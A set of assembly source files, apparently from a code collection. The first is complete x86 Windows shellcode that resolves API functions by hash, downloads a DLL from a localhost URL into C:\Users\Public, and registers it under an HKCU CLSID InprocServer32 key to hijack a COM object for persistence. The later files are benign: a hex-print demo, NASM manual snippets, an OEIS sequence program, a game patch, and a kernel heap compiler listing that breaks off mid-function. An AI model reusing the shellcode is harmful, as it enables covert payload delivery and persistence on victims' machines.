call find_function_save ; Relative call to dynamically get address of find_function
find_function:
pushad ; Save all registers. DLL base addr is in EBX
mov eax, [ebx+0x3c] ; Offset to PE Signature
mov edi, [ebx+eax+0x78] ; Export Table Directory RVA
add edi, ebx ; Export Table Directory VMA
mov ecx, [edi+0x18] ; NumberOfNames
mov eax, [edi+0x20] ; AddressOfNames RVA
add eax, ebx ; AddressOfNames VMA
mov [ebp-4], eax ; Save AddressOfNames VMA
find_function_loop:
jecxz find_function_end ; End function if ECX is 0
dec ecx ; Decrement NumberOfNames
mov eax, [ebp-4] ; AddressOfNames VMA
mov esi, [eax+ecx*4] ; RVA of symbol name
add esi, ebx ; VMA of symbol name
compute_hash:
xor eax, eax ; EAX = 0x0
cdq ; EDX = 0x0
cld ; Clear direction
compute_hash_loop:
lodsb ; Load the next byte from ESI into AL
test al, al ; Check for null terminator
jz compare_func ; Once null terminator is hit, jump to compare_func
ror edx, 0xf ; Rotate EDX 15 bits to the right
add edx, eax ; Add the new byte to EDX
jmp compute_hash_loop ; Loop
compare_func:
cmp edx, [esp+0x24] ; Compare the computed hash with the requested hash
jnz find_function_loop ; If it does not match, jump back to find_function_loop
mov edx, [edi+0x24] ; AddressOfNameOrdinals RVA
add edx, ebx ; AddressOfNameOrdinals VMA
mov cx, [edx+2*ecx] ; Function ordinal
mov edx, [edi+0x1c] ; AddressOfFunctions RVA
add edx, ebx ; AddressOfFunctions VMA
mov eax, [edx+4*ecx] ; Function RVA
add eax, ebx ; Function VMA
mov [esp+0x1c], eax ; Overwrite EAX from pushad
find_function_end:
popad ; Restore registers
ret ; Return from find_function
find_functions_kernel32:
push 0x8ee05933 ; TerminateProcess hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x10], eax ; Save TerminateProcess address
push 0x583c436c ; LoadLibraryA hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x14], eax ; Save LoadLibraryA address
load_urlmon:
xor eax, eax ; EAX = 0x0
mov ax, 0x6c6c ; EAX = 0x00006c6c
push eax ; Push ll with string terminator
push 0x642e6e6f ; Push on.d
push 0x6d6c7275 ; Push urlm
push esp ; Push pointer to urlmon.dll string
call dword ptr [ebp+0x14] ; Call LoadLibraryA
find_functions_urlmon:
mov ebx, eax ; EBX = urlmon.dll base address
push 0x725e9d33 ; URLDownloadToFileA hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x18], eax ; Save URLDownloadToFileA address
load_advapi32:
xor eax, eax ; EAX = 0x0
push eax ; Push null terminator for string
push 0x6c6c642e ; Push .dll
push 0x32336970 ; Push pi32
push 0x61766461 ; Push adva
push esp ; Push pointer to advapi32.dll string
call dword ptr [ebp+0x14] ; Call LoadLibraryA
find_functions_advapi32:
mov ebx, eax ; EBX = advapi32.dll base address
push 0xca3539f4 ; RegCreateKeyExA hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x1c], eax ; Save RegCreateKeyExA address
push 0x7ea030f3 ; RegSetValueExA hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x20], eax ; Save RegSetValueExA address
push 0xfd53d2d5 ; RegCloseKey hash
call dword ptr [ebp+0x04] ; Call find_function
mov [ebp+0x24], eax ; Save RegCloseKey address
; URLDownloadToFileA(NULL, http://localhost/d.dll, C:\\Users\\Public\\d.dll, 0, NULL);
call_urldownloadtofilea:
xor eax, eax ; EAX = 0x0
mov ax, 0x6c6c ; EAX = 0x00006c6c
push eax ; Push ll with string terminator
push 0x642e642f ; Push /d.d
push 0x74736f68 ; Push host
push 0x6c61636f ; Push ocal
push 0x6c2f2f3a ; Push ://l
push 0x70747468 ; Push http
push esp ; Get pointer to URL string
pop edi ; Save pointer in EDI
xor eax, eax ; EAX = 0x0
mov al, 0x6c ; EAX = 0x0000006c
push eax ; Push l with string terminator
push 0x6c642e64 ; Push d.dl
push 0x5c63696c ; Push lic\
push 0x6275505c ; Push \Pub
push 0x73726573 ; Push sers
push 0x555c3a43 ; Push C:\U
push esp ; Get pointer to URL string
pop esi ; Save pointer in ESI
xor eax, eax ; EAX = 0x0
push eax ; Push lpfnCB = null
push eax ; Push dwReserved = 0
push esi ; Push szFileName = C:\Users\Public\d.dll
push edi ; Push szURL = http://localhost/d.dll
push eax ; Push pCaller = null
call dword ptr [ebp+0x18] ; call URLDownloadToFileA
; RegCreateKeyExA(HKEY_CURRENT_USER, SOFTWARE\\Classes\\CLSID\\{A4B544A1-438D-4B41-9325-869523E2D6C7}\\InprocServer32, 0, NULL, 0, KEY_ALL_ACCESS|KEY_WOW64_64KEY, NULL, &inprocservkey, NULL);
call_regcreatekeyexa:
xor eax, eax ; EAX = 0x0
push eax ; Push null DWORD to stack for the new registry key
push esp ; Create a pointer for the key
pop edi ; Store the pointer in EDI
push eax ; Push string terminator for the new reg key name
push 0x32337265 ; Push er32
push 0x76726553 ; Push Serv
push 0x636f7270 ; Push proc
push 0x6e495c7d ; Push }\In
push 0x37433644 ; Push D6C7
push 0x32453332 ; Push 23E2
push 0x35393638 ; Push 8695
push 0x2d353233 ; Push 325-
push 0x392d3134 ; Push 41-9
push 0x42342d44 ; Push D-4B
push 0x3833342d ; Push -438
push 0x31413434 ; Push 44A1
push 0x35423441 ; Push A4B5
push 0x7b5c4449 ; Push ID\{
push 0x534c435c ; Push \CLS
push 0x73657373 ; Push sses
push 0x616c435c ; Push \Cla
push 0x45524157 ; Push WARE
push 0x54464f53 ; Push SOFT
push esp ; Create a pointer to the regkey name string
pop ecx ; Store the pointer in ECX
push eax ; Push lpdwDisposition = null
push edi ; Push phkResult = pointer to new key
push eax ; Push lpSecurityAttributes = null
mov ebx, 0x0f013fff ; Avoid null bytes by adding an extra 0xff at the end
shr ebx, 0x8 ; Shift EBX right 2 bytes; EBX = 0x0f013f
push ebx ; Push samDesired = KEY_ALL_ACCESS|KEY_WOW64_64KEY
push eax ; Push dwOptions = 0x0
push eax ; Push lpClass = null
push eax ; Push Reserved = 0x0
push ecx ; Push lpSubKey = key name string
mov eax, 0x7fffffff ; Avoid null bytes with negative number
neg eax ; Negate EAX; EAX = 0x80000001
push eax ; Push hKey = HKEY_CURRENT_USER
call dword ptr [ebp+0x1c] ; Call RegCreateKeyExA
; RegSetValueExA(inprocservkey, NULL, 0, REG_SZ, dll_buf, sizeof(dll_buf));
call_regsetvalueexa_defaultkey:
mov eax, 0xffffffeb ; EAX = 0xffffffeb
neg eax ; Negate EAX; EAX = 0x15
push eax ; Push cbData = 0x15
push esi ; Push lpData = C:\Users\Public\d.dll
xor eax, eax ; EAX = 0x0
inc eax ; EAX = 0x1
push eax ; Push dwType = REG_SZ
dec eax ; EAX = 0x0
push eax ; Push Reserved = 0x0
push eax ; Push lpValueName = null
mov edi, [edi] ; Get reg key handle through dereferencing its address
push edi ; Push hKey = regkey handle
call dword ptr [ebp+0x20] ; Call RegSetValueExA
; RegSetValueExA(inprocservkey, ThreadingModel, 0, REG_SZ, thread_buf, sizeof(thread_buf));
call_regsetvalueexa_threadkey:
mov eax, 0xffffff8c ; EAX = 0xffffff8c
neg eax ; Negate EAX; EAX = 0x74
push eax ; Push t with string terminator
push 0x6e656d74 ; Push tmen
push 0x72617041 ; Push Apar
push esp ; Create pointer to Apartment
pop ebx ; Save pointer in EBX
mov ax, 0x6c65 ; EAX = 0x00006c65
push eax ; Push el with string terminator
push 0x646f4d67 ; Push gMod
push 0x6e696461 ; Push adin
push 0x65726854 ; Push Thre
push esp ; Create pointer to ThreadingModel
pop ecx ; Save pointer in ECX
mov eax, 0xfffffff6 ; EAX = 0xfffffff6
neg eax ; Negate EAX; EAX = 0xa
push eax ; Push cbData = 0x0a
push ebx ; Push lpData = Apartment
mov al, 0x1 ; EAX = 0x00000001
push eax ; Push dwType = REG_SZ
dec eax ; EAX = 0x0
push eax ; Push Reserved = 0
push ecx ; Push lpValueName = ThreadingModel
push edi ; Push hKey = reg key handle
call dword ptr [ebp+0x20] ; Call RegSetValueExA
; RegCloseKey(inprocservkey);
call_regclosekey:
push edi ; Push hKey = reg key handle
call dword ptr [ebp+0x24] ; Call RegCloseKey
; TerminateProcess(-1, 0);
call_terminateprocess:
xor ecx, ecx ; ECX = 0
push ecx ; Push uExitCode = 0
push 0xffffffff ; Push hProcess = current process
call dword ptr [ebp+0x10] ; Call TerminateProcess
|
||||
TheStack | 8e92d0da3257073ca1ebda1d10cdad9e1fc2ccfd | Assemblycode:Assembly | {"size": 1428, "ext": "asm", "max_stars_repo_path": "nasm-gcc/src/print_call.asm", "max_stars_repo_name": "MaksVe/nasm-gcc-container", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nasm-gcc/src/print_call.asm", "max_issues_repo_name": "MaksVe/nasm-gcc-container", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nasm-gcc/src/print_call.asm", "max_forks_repo_name": "MaksVe/nasm-gcc-container", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 25.9636363636, "max_line_length": 75, "alphanum_fraction": 0.556022409} | ; nasm -felf64 print_call.asm -o print_call.o
; ld -o print_call.out print_call.o
; chmod u+x print_call.out
; ./print_call.out
section .data
newline_char: db 10
codes: db '0123456789ABCDEF'
section .text
global _start
print_newline:
mov rax, 1 ; 'write' system call identifier
mov rdi, 1 ; sdout file descriptor
mov rsi, newline_char ; where do we take data from
mov rdx, 1 ; the amout of bytes to write
syscall
ret
print_hex:
mov rax, rdi
mov rdi, 1
mov rdx, 1
mov rcx, 64 ; how far we are shifting rax
iterate:
push rax ; save the initial rax value
sub rcx, 4
sar rax, cl ; shift to 60, 56, 52, .. 4, 0
and rax, 0xf ; clear all bits but the lowest four
lea rsi, [codes + rax] ; take a hexadecimal digit character code
mov rax, 1
push rcx ; syscall will break rcx
syscall ; rax = 1 (31) -- the write identifier,
; rdi = 1 for stdout,
; rsi = the address of a character, see line 29
pop rcx
pop rax ; see line 24
test rcx, rcx ; rcx = 0 whel all digits are shown
jnz iterate
ret
_start:
mov rdi, 0x1122334455667788
call print_hex
call print_newline
mov rax, 60
xor rdi, rdi
syscall |
||||
TheStack | 5a41f253190d54466f93dad5b5492dd1a77bd312 | Assemblycode:Assembly | {"size": 147, "ext": "asm", "max_stars_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_make.asm", "max_stars_repo_name": "prismotizm/gigaleak", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_make.asm", "max_issues_repo_name": "prismotizm/gigaleak", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/フランス_PAL/Fra_asm1/zel_make.asm", "max_forks_repo_name": "prismotizm/gigaleak", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.0, "max_line_length": 47, "alphanum_fraction": 0.8163265306} | Name: zel_make.asm
Type: file
Size: 281138
Last-Modified: '2016-05-13T04:20:48Z'
SHA-1: B25244CBE2C8E51002DCD7AF13270262C2688A85
Description: null
|
||||
TheStack | d03ee3f387c86a2b0a7b4bb3e03218cc4fb1959c | Assemblycode:Assembly | {"size": 1936, "ext": "nasm", "max_stars_repo_path": "Tests/chapter9.nasm", "max_stars_repo_name": "13xforever/x86-assembly-textmate-bundle", "max_stars_repo_stars_event_min_datetime": "2015-04-16T18:01:22.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-15T07:54:26.000Z", "max_issues_repo_path": "Tests/chapter9.nasm", "max_issues_repo_name": "javiercbk/x86-assembly-textmate-bundle", "max_issues_repo_issues_event_min_datetime": "2016-09-20T08:49:09.000Z", "max_issues_repo_issues_event_max_datetime": "2021-02-19T15:01:04.000Z", "max_forks_repo_path": "Tests/chapter9.nasm", "max_forks_repo_name": "javiercbk/x86-assembly-textmate-bundle", "max_forks_repo_forks_event_min_datetime": "2016-05-31T07:11:14.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-19T10:17:12.000Z"} | {"max_stars_count": 69, "max_issues_count": 17, "max_forks_count": 19, "avg_line_length": 25.4736842105, "max_line_length": 66, "alphanum_fraction": 0.5180785124} | global _myfunc
_myfunc:
push ebp
mov ebp,esp
sub esp,0x40 ; 64 bytes of local stack space
mov ebx,[ebp+8] ; first parameter to function
; some more code
leave ; mov esp,ebp / pop ebp
ret
extern _printf
; and then, further down...
push dword [myint] ; one of my integer variables
push dword mystring ; pointer into my data segment
call _printf
add esp,byte 8 ; `byte' saves space
; then those data items...
segment _DATA
myint dd 1234
mystring db 'This number -> %d <- should be 1234',10,0
extern _i
mov eax,[_i]
global _j
_j dd 0
proc _proc32
%$i arg
%$j arg
mov eax,[ebp + %$i]
mov ebx,[ebp + %$j]
add eax,[ebx]
endproc
extern _GLOBAL_OFFSET_TABLE_ ; in ELF
extern __GLOBAL_OFFSET_TABLE_ ; in BSD a.out
func: push ebp
mov ebp,esp
push ebx
call .get_GOT
.get_GOT:
pop ebx
add ebx,_GLOBAL_OFFSET_TABLE_+$$-.get_GOT wrt ..gotpc
; the function body comes here
mov ebx,[ebp-4]
mov esp,ebp
pop ebp
ret
%macro get_GOT 0
call %%getgot
%%getgot:
pop ebx
add ebx,_GLOBAL_OFFSET_TABLE_+$$-%%getgot wrt ..gotpc
%endmacro
lea eax,[ebx+myvar wrt ..gotoff]
mov eax,[ebx+extvar wrt ..got]
global func:function ; declare it as a function
func: push ebp
; etc.
global array:data array.end-array ; give the size too
array: resd 128
.end:
dataptr: dd global_data_item ; WRONG
dataptr: dd global_data_item wrt ..sym
funcptr: dd my_function
funcptr: dd my_function wrt ..sym
|
||||
TheStack | 5168d58af839bedd61093c60caf2b25f33226e9a | Assemblycode:Assembly | {"size": 692, "ext": "asm", "max_stars_repo_path": "oeis/066/A066319.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/066/A066319.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/066/A066319.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 36.4210526316, "max_line_length": 455, "alphanum_fraction": 0.8265895954} | ; A066319: A labeled structure simultaneously a tree and a cycle.
; Submitted by Jamie Morken(s3)
; 1,1,6,96,3000,155520,12101040,1321205760,192849310080,36288000000000,8556520581100800,2471543044256563200,858447696200353459200,353034171594345598156800,169665960401437500000000000,94227868743147981738344448000,59889876077307677006523101184000,43194514484931823959062920298496000,35087484715498713696349710325358592000,31888533201572855808000000000000000000000,32232294081582821692174014715930837155840000,36041057723605049390116869807326948166205440000
add $0,1
mov $2,$0
mov $3,9
lpb $0
sub $0,1
lpb $0
mul $3,$0
sub $0,1
mul $3,$2
lpe
div $3,$2
lpe
mov $0,$3
div $0,9
|
||||
TheStack | c0920e7bab78e0183c3857b29ba65f7bb4789ab4 | Assemblycode:Assembly | {"size": 2430, "ext": "asm", "max_stars_repo_path": "asm/giepy/tweaks.asm", "max_stars_repo_name": "boldowa/GIEPY", "max_stars_repo_stars_event_min_datetime": "2018-03-15T22:01:35.000Z", "max_stars_repo_stars_event_max_datetime": "2019-07-13T18:04:41.000Z", "max_issues_repo_path": "asm/giepy/tweaks.asm", "max_issues_repo_name": "telinc1/GIEPY", "max_issues_repo_issues_event_min_datetime": "2018-02-18T06:25:40.000Z", "max_issues_repo_issues_event_max_datetime": "2018-07-13T17:54:40.000Z", "max_forks_repo_path": "asm/giepy/tweaks.asm", "max_forks_repo_name": "telinc1/GIEPY", "max_forks_repo_forks_event_min_datetime": "2018-07-25T21:04:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-01T08:40:13.000Z"} | {"max_stars_count": 8, "max_issues_count": 21, "max_forks_count": 2, "avg_line_length": 21.8918918919, "max_line_length": 81, "alphanum_fraction": 0.4419753086} | @include
;-------------------------------------------------------------------------------
; GIEPY some tweaks ...
;-------------------------------------------------------------------------------
pushpc
;---------------------------------------
; Patch goal tape init
; to get Extra Bits in $187b+x
;---------------------------------------
if !true == !sa1
%org_assert_long2($01c089, 9d32,58bd) ; sa-1 remaped
else
%org_assert_long2($01c089, 9d14,d4bd)
endif
jml GoalInitTweak
;---------------------------------------
; Clear extra ram on Load OW
;---------------------------------------
%org_assert_long2($00a1ad, 10ca,1a74)
jsl ClearExtraRamOnOWLoad
nop
;---------------------------------------
; Clear extra ram on Load Level
;---------------------------------------
%org_assert_long2($02ac53, 3e9c,10e2)
jsl ClearExtraRamOnLevelLoad
nop
pullpc
;-------------------------------------------------
; Goal Init tweak
;-------------------------------------------------
GoalInitTweak:
lda.l !extra_bits,x
sta.w !187b,x
lda.w !14d4,x
jml $01c091|!bankB
;-------------------------------------------------
; Clear extra ram on Level Load
;-------------------------------------------------
ClearExtraRamOnLevelLoad:
sep #$10
stz.w !scroll_num_l1
jsr ClearExtraRam
rtl
;-------------------------------------------------
; Clear extra ram on OW Load
;-------------------------------------------------
ClearExtraRamOnOWLoad:
- stz.b $1a,x
dex
bpl -
php
jsr ClearExtraRam
plp
rtl
;---------------------------------------
; Extra ram clear subroutine
;---------------------------------------
ClearExtraRam:
sep #$30
lda.b #0
;--- clear generator / scroller ram
sta.l !extra_bits_gen
sta.l !extra_bits_l1scr
sta.l !extra_bits_l2scr
if !true == !EXTRA_BYTES_EXT
sta.l !extra_byte_gen
sta.l !extra_byte_scr
endif
;--- clear shooter ram
ldx.b #7
- sta.l !extra_bits_sh,x
if !true == !EXTRA_BYTES_EXT
sta.l !extra_byte_sh,x
endif
dex
bpl -
;--- clear sprite ram
if !true == !sa1
ldx.b #21
else
ldx.b #11
endif
- sta.l !extra_bits,x
sta.l !new_sprite_num,x
sta.l !extra_prop_1,x
sta.l !extra_prop_2,x
if !true == !EXTRA_BYTES_EXT
sta.l !extra_byte_1,x
sta.l !extra_byte_2,x
sta.l !extra_byte_3,x
sta.l !extra_byte_4,x
endif
dex
bpl -
rts
|
||||
TheStack | 86c87380fa8e62e3ca8db7be9db09367d219dd45 | Assemblycode:Assembly | {"size": 18170, "ext": "asm", "max_stars_repo_path": "Aurora/Aurora/x64/Debug/kheap.asm", "max_stars_repo_name": "manaskamal/aurora-xeneva", "max_stars_repo_stars_event_min_datetime": "2021-07-19T04:46:35.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T17:56:00.000Z", "max_issues_repo_path": "Aurora/Aurora/x64/Debug/kheap.asm", "max_issues_repo_name": "manaskamal/aurora-xeneva", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Aurora/Aurora/x64/Debug/kheap.asm", "max_forks_repo_name": "manaskamal/aurora-xeneva", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 8, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 23.0291508238, "max_line_length": 89, "alphanum_fraction": 0.6659878921} | ; Listing generated by Microsoft (R) Optimizing Compiler Version 17.00.50727.1
include listing.inc
INCLUDELIB LIBCMT
INCLUDELIB OLDNAMES
PUBLIC ?kmem_start@@3PEAXEA ; kmem_start
PUBLIC ?kmem_end@@3PEAXEA ; kmem_end
PUBLIC ?last_header@@3PEAUkmem@@EA ; last_header
_BSS SEGMENT
?kmem_start@@3PEAXEA DQ 01H DUP (?) ; kmem_start
?kmem_end@@3PEAXEA DQ 01H DUP (?) ; kmem_end
?last_header@@3PEAUkmem@@EA DQ 01H DUP (?) ; last_header
_BSS ENDS
CONST SEGMENT
$SG3000 DB 'Heap Start -> %x', 0aH, 00H
ORG $+6
$SG3001 DB 'Heap End -> %x', 0aH, 00H
CONST ENDS
PUBLIC ?align_next@kmem@@QEAAXXZ ; kmem::align_next
PUBLIC ?align_prev@kmem@@QEAAXXZ ; kmem::align_prev
PUBLIC ?split@kmem@@QEAAPEAU1@_K@Z ; kmem::split
PUBLIC ?initialize_kmemory@@YAX_K@Z ; initialize_kmemory
PUBLIC ?malloc@@YAPEAX_K@Z ; malloc
PUBLIC ?free@@YAXPEAX@Z ; free
PUBLIC ?expand_kmem@@YAX_K@Z ; expand_kmem
PUBLIC ?kheap_print@@YAXXZ ; kheap_print
EXTRN ?pmmngr_alloc@@YAPEAXXZ:PROC ; pmmngr_alloc
EXTRN ?map_page@@YA_N_K0E@Z:PROC ; map_page
EXTRN ?printf@@YAXPEBDZZ:PROC ; printf
pdata SEGMENT
$pdata$?align_prev@kmem@@QEAAXXZ DD imagerel $LN4
DD imagerel $LN4+57
DD imagerel $unwind$?align_prev@kmem@@QEAAXXZ
$pdata$?split@kmem@@QEAAPEAU1@_K@Z DD imagerel $LN6
DD imagerel $LN6+223
DD imagerel $unwind$?split@kmem@@QEAAPEAU1@_K@Z
$pdata$?initialize_kmemory@@YAX_K@Z DD imagerel $LN6
DD imagerel $LN6+246
DD imagerel $unwind$?initialize_kmemory@@YAX_K@Z
$pdata$?malloc@@YAPEAX_K@Z DD imagerel $LN11
DD imagerel $LN11+274
DD imagerel $unwind$?malloc@@YAPEAX_K@Z
$pdata$?free@@YAXPEAX@Z DD imagerel $LN3
DD imagerel $LN3+57
DD imagerel $unwind$?free@@YAXPEAX@Z
$pdata$?expand_kmem@@YAX_K@Z DD imagerel $LN7
DD imagerel $LN7+293
DD imagerel $unwind$?expand_kmem@@YAX_K@Z
$pdata$?kheap_print@@YAXXZ DD imagerel $LN3
DD imagerel $LN3+47
DD imagerel $unwind$?kheap_print@@YAXXZ
pdata ENDS
xdata SEGMENT
$unwind$?align_prev@kmem@@QEAAXXZ DD 010901H
DD 04209H
$unwind$?split@kmem@@QEAAPEAU1@_K@Z DD 010e01H
DD 0220eH
$unwind$?initialize_kmemory@@YAX_K@Z DD 010901H
DD 0a209H
$unwind$?malloc@@YAPEAX_K@Z DD 010901H
DD 06209H
$unwind$?free@@YAXPEAX@Z DD 010901H
DD 06209H
$unwind$?expand_kmem@@YAX_K@Z DD 010901H
DD 08209H
$unwind$?kheap_print@@YAXXZ DD 010401H
DD 04204H
xdata ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
?kheap_print@@YAXXZ PROC ; kheap_print
; 148 : void kheap_print () {
$LN3:
sub rsp, 40 ; 00000028H
; 149 : printf ("Heap Start -> %x\n", kmem_start);
mov rdx, QWORD PTR ?kmem_start@@3PEAXEA ; kmem_start
lea rcx, OFFSET FLAT:$SG3000
call ?printf@@YAXPEBDZZ ; printf
; 150 : printf ("Heap End -> %x\n", kmem_end);
mov rdx, QWORD PTR ?kmem_end@@3PEAXEA ; kmem_end
lea rcx, OFFSET FLAT:$SG3001
call ?printf@@YAXPEBDZZ ; printf
; 151 : }
add rsp, 40 ; 00000028H
ret 0
?kheap_print@@YAXXZ ENDP ; kheap_print
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
new_seg$ = 32
i$1 = 40
page_count$ = 48
length$ = 80
?expand_kmem@@YAX_K@Z PROC ; expand_kmem
; 84 : void expand_kmem (size_t length) {
$LN7:
mov QWORD PTR [rsp+8], rcx
sub rsp, 72 ; 00000048H
; 85 : if (length % 0x1000) {
xor edx, edx
mov rax, QWORD PTR length$[rsp]
mov ecx, 4096 ; 00001000H
div rcx
mov rax, rdx
test rax, rax
je SHORT $LN4@expand_kme
; 86 : length -= length % 0x1000;
xor edx, edx
mov rax, QWORD PTR length$[rsp]
mov ecx, 4096 ; 00001000H
div rcx
mov rax, rdx
mov rcx, QWORD PTR length$[rsp]
sub rcx, rax
mov rax, rcx
mov QWORD PTR length$[rsp], rax
; 87 : length += 0x1000;
mov rax, QWORD PTR length$[rsp]
add rax, 4096 ; 00001000H
mov QWORD PTR length$[rsp], rax
$LN4@expand_kme:
; 88 : }
; 89 :
; 90 : size_t page_count = length / 0x1000;
xor edx, edx
mov rax, QWORD PTR length$[rsp]
mov ecx, 4096 ; 00001000H
div rcx
mov QWORD PTR page_count$[rsp], rax
; 91 : kmem* new_seg = (kmem*)kmem_end;
mov rax, QWORD PTR ?kmem_end@@3PEAXEA ; kmem_end
mov QWORD PTR new_seg$[rsp], rax
; 92 :
; 93 : for (size_t i = 0; i < page_count; i++) {
mov QWORD PTR i$1[rsp], 0
jmp SHORT $LN3@expand_kme
$LN2@expand_kme:
mov rax, QWORD PTR i$1[rsp]
inc rax
mov QWORD PTR i$1[rsp], rax
$LN3@expand_kme:
mov rax, QWORD PTR page_count$[rsp]
cmp QWORD PTR i$1[rsp], rax
jae SHORT $LN1@expand_kme
; 94 : map_page ((uint64_t)pmmngr_alloc(), (uint64_t)kmem_end,0);
call ?pmmngr_alloc@@YAPEAXXZ ; pmmngr_alloc
xor r8d, r8d
mov rdx, QWORD PTR ?kmem_end@@3PEAXEA ; kmem_end
mov rcx, rax
call ?map_page@@YA_N_K0E@Z ; map_page
; 95 : kmem_end = (void*)((size_t)kmem_end + 0x1000);
mov rax, QWORD PTR ?kmem_end@@3PEAXEA ; kmem_end
add rax, 4096 ; 00001000H
mov QWORD PTR ?kmem_end@@3PEAXEA, rax ; kmem_end
; 96 : }
jmp SHORT $LN2@expand_kme
$LN1@expand_kme:
; 97 :
; 98 : new_seg->free = true;
mov rax, QWORD PTR new_seg$[rsp]
mov BYTE PTR [rax+24], 1
; 99 : new_seg->last = last_header;
mov rax, QWORD PTR new_seg$[rsp]
mov rcx, QWORD PTR ?last_header@@3PEAUkmem@@EA ; last_header
mov QWORD PTR [rax+16], rcx
; 100 : last_header->next = new_seg;
mov rax, QWORD PTR ?last_header@@3PEAUkmem@@EA ; last_header
mov rcx, QWORD PTR new_seg$[rsp]
mov QWORD PTR [rax+8], rcx
; 101 : last_header = new_seg;
mov rax, QWORD PTR new_seg$[rsp]
mov QWORD PTR ?last_header@@3PEAUkmem@@EA, rax ; last_header
; 102 : new_seg->next = NULL;
mov rax, QWORD PTR new_seg$[rsp]
mov QWORD PTR [rax+8], 0
; 103 : new_seg->length = length - sizeof (kmem);
mov rax, QWORD PTR length$[rsp]
sub rax, 32 ; 00000020H
mov rcx, QWORD PTR new_seg$[rsp]
mov QWORD PTR [rcx], rax
; 104 : new_seg->align_next ();
mov rcx, QWORD PTR new_seg$[rsp]
call ?align_next@kmem@@QEAAXXZ ; kmem::align_next
; 105 : }
add rsp, 72 ; 00000048H
ret 0
?expand_kmem@@YAX_K@Z ENDP ; expand_kmem
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
seg$ = 32
memory$ = 64
?free@@YAXPEAX@Z PROC ; free
; 139 : void free (void* memory) {
$LN3:
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 140 : //x64_cli();
; 141 : kmem* seg = (kmem*)memory - 1;
mov rax, QWORD PTR memory$[rsp]
sub rax, 32 ; 00000020H
mov QWORD PTR seg$[rsp], rax
; 142 : seg->free = true;
mov rax, QWORD PTR seg$[rsp]
mov BYTE PTR [rax+24], 1
; 143 : seg->align_next();
mov rcx, QWORD PTR seg$[rsp]
call ?align_next@kmem@@QEAAXXZ ; kmem::align_next
; 144 : seg->align_prev();
mov rcx, QWORD PTR seg$[rsp]
call ?align_prev@kmem@@QEAAXXZ ; kmem::align_prev
; 145 : }
add rsp, 56 ; 00000038H
ret 0
?free@@YAXPEAX@Z ENDP ; free
_TEXT ENDS
; Function compile flags: /Odtpy
; File e:\xeneva project\xeneva\aurora\aurora\arch\x86_64\kheap.cpp
_TEXT SEGMENT
current_seg$ = 32
size$ = 64
?malloc@@YAPEAX_K@Z PROC ; malloc
; 109 : void* malloc(size_t size) {
$LN11:
mov QWORD PTR [rsp+8], rcx
sub rsp, 56 ; 00000038H
; 110 : if (size % 0x10 > 0) {
xor edx, edx
mov rax, QWORD PTR size$[rsp]
mov ecx, 16
div rcx
mov rax, rdx
test rax, rax
jbe SHORT $LN8@malloc
; 111 : size -= (size % 0x10);
xor edx, edx
mov rax, QWORD PTR size$[rsp]
mov ecx, 16
div rcx
mov rax, rdx
mov rcx, QWORD PTR size$[rsp]
sub rcx, rax
mov rax, rcx
mov QWORD PTR size$[rsp], rax
; 112 : size += 0x10;
mov rax, QWORD PTR size$[rsp]
add rax, 16
mov QWORD PTR size$[rsp], rax
$LN8@malloc:
; 113 : }
; 114 :
; 115 : if (size == 0) return NULL;
cmp QWORD PTR size$[rsp], 0
jne SHORT $LN7@malloc
xor eax, eax
jmp $LN9@malloc
$LN7@malloc:
; 116 :
; 117 : kmem* current_seg = (kmem*) kmem_start;
mov rax, QWORD PTR ?kmem_start@@3PEAXEA ; kmem_start
